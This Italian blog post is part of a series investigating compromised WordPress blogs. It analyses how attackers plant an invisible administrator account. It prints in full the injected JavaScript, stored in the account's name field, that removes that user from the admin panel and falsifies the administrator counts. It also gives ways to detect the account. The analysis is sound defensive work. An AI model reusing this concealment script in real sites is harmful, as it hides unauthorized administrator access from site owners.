Anche se non appaiono nuovi articoli, non significa che stia con le mani in mano. Le indagini proseguono, e quando ho novità utili ecco un nuovo articolo.
Ho aggiunto una nuova categoria, denominata Wordpress, per avere con un clic tutti gli articoli che trattano di questo software.
Andiamo al sodo: ho ricreato su una macchina virtuale l’intero contenuto di uno dei blog compromessi, sia il codice che il database, gentilmente messo a disposizione da una delle vittime delle recenti intrusioni.
In questo modo ho potuto verificare alcune delle ipotesi che avevo fatto osservando sia il codice dei siti che il contenuto dei database in mio possesso. La prima considerazione che mi viene a caldo è che questa gente non è per niente da sottovalutare. Conosce a fondo Wordpress, ne conosce l’intimo funzionamento, ma non basta. Conosce PHP, conosce Javascript, conosce il DOM e tutte le tecniche di manipolazione dello stesso in pieno stile AJAX.
La prima ipotesi è che esista un utente amministratore invisibile dal pannello di gestione utenti di Wordpress. Verificato che sul database esiste un utente dal nome WordPress, di livello amministratore, rimane da capire come mai sia invisibile. Esaminando meglio il database, il campo dove appare il real name relativo all’utente abusivo è insolitamente lungo. Eccone il contenuto, aggiustato per renderlo più leggibile:
...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
// primo blocco
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
// secondo blocco
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
// terzo blocco
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script>
Il primo blocco cerca l’inizio della riga in cui è visualizzato l’utente abusivo nel pannello di gestione utenti, contenente anche il codice stesso, e la elimina dal DOM (t.parentNode.removeChild(t);).
Il secondo blocco si incarica di “aggiustare” il conteggio degli utenti visualizzati quando l’elenco viene “paginato” nelle versioni di Wordpress dalla 2.1 in poi.
Il terzo blocco si incarica di modificare la visualizzazione nelle versioni dalla 2.5 in poi, dove in alto c’è il numero di amministratori fra parentesi. Infatti c’è una chiamata alla funzione Javascript replace che sostituisce la stringa “Administrator (n)” con la stringa “Administrator (n-1)”.
A parte l’ingegnosità del codice (che comunque ha i suoi difetti), il punto è che il codice è fatto per operare su tutte le versioni di Wordpress, anche le più recenti. Il codice è incluso nel database, e non viene pulito da un normale upgrade, come ho verificato aggiornando la versione nella macchina virtuale.
Il risultato è che dopo una intrusione di questa categoria, pur avendo pulito il codice PHP da eventuali iniezioni di codice e file estranei ed a patto che l’aggiornamento sia avvenuto previa totale eliminazione della precedente installazione, non semplicemente soprascrivendo i file più vecchi, abbiamo un utente amministratore abusivo registrato nel blog, che può ancora operare indisturbato.
L’altra considerazione da fare, altrettanto inquietante, è che il codice mostrato prevede un aggiornamento alla versione 2.5.x di Wordpress, quindi chi ha attaccato i blog ha tenuto in conto che Wordpress poteva essere aggiornato dal proprietario, e ha predisposto le relative contromisure.
Il codice è efficace solo quando l’utente abusivo è visualizzato nella pagina, come quando gli utenti registrati sono pochi, e soprattutto se non si pone molta attenzione alle indicazioni. Basta chiedere di visualizzare gli utenti non amministratori che in Wordpress 2.5.x l’indicazione del numero di amministratori sale magicamente di uno. Oppure cercare un utente che sicuramente non esiste, ed anche qui il numero di amministratori sale di uno, ad indicare che c’è qualcosa di sospetto.
Per verificare la presenza dell’utente abusivo si può anche esaminare il codice HTML della pagina: se all’interno della tabella con gli utenti c’è una delle righe che mostra il codice Javascript visto sopra, abbiamo un clandestino a bordo.
Altro sistema molto semplice, che funziona egregiamente con Firefox, è di disabilitare Javascript e ricaricare la pagina di gestione utenti: se l’utente abusivo c’è, appare immediatamente nella lista.
Ho avvertito i proprietari di cinque differenti blog, tre dei quali aggiornati a Wordpress 2.5.1, del fatto che nascosti in alcuni post ci sono link che portano a siti che tentano di iniettare malware attraverso il browser. I blog non presentano nessuno dei comportamenti tipici dell’infezione, ma erano probabilmente infetti in precedenza, come mi ha confermato uno dei proprietari, l’unico che mi ha risposto. La mia ipotesi è che chi ha compromesso i blog in precedenza, una volta perso il controllo per l’aggiornamento da parte del proprietario, ha “svenduto” l’accesso amministratore ad altri, che lo stanno usando per inserire quei link invisibili in normali post del blog. Il proprietario del blog ovviamente non sospetta nulla, ed anzi sta tranquillo perché ha appena eseguito un aggiornamento.
Per ora chiudo qui. La raccomandazione è che in caso abbiate subito una intrusione di questa categoria, ponete molta attenzione al database, e controllare attentamente gli utenti presenti. Un trucco è quello di fare un backup del database, scaricarlo ed esaminarlo con un editor, cercando nella tabella wp_usermeta e wp_users. Però occorre che sappiate dove mettere le mani e cosa cercare, cosa non facile. Ovviamente, nel frattempo, chi ha creato questa pestilenza sta continuando a migliorarne il codice.
Riprendendo quanto detto nel titolo, l’aggiornamento non basta.
Gli articoli precedenti
Per chi vuole leggere tutta la storia, qui c’è l’elenco con tutti gli articoli che trattano dell’indagine sui blog violati:
- Wordpress + Pagerank + Spammer = PANIC!
- Attention: your Wordpress blog may be compromised. (in inglese)
- Spam con Wordpress: esempi di codice iniettato
- Spam con Wordpress: primi dettagli su un sito compromesso
- Spam con Wordpress: altri esempi di codice iniettato
- Spam con Wordpress: sempre più sofisticato
Di seguito alcuni consigli per diminuire il rischio di essere colpiti, e cosa fare quando succede:

Pingback: Suzukimaruti » Blog Archive » Barbie crea la moda (versione 2.0)
Pingback: Suzukimaruti » Blog Archive » Stavolta forse sto proprio bene (e fareste meglio a chiedervelo pure voi)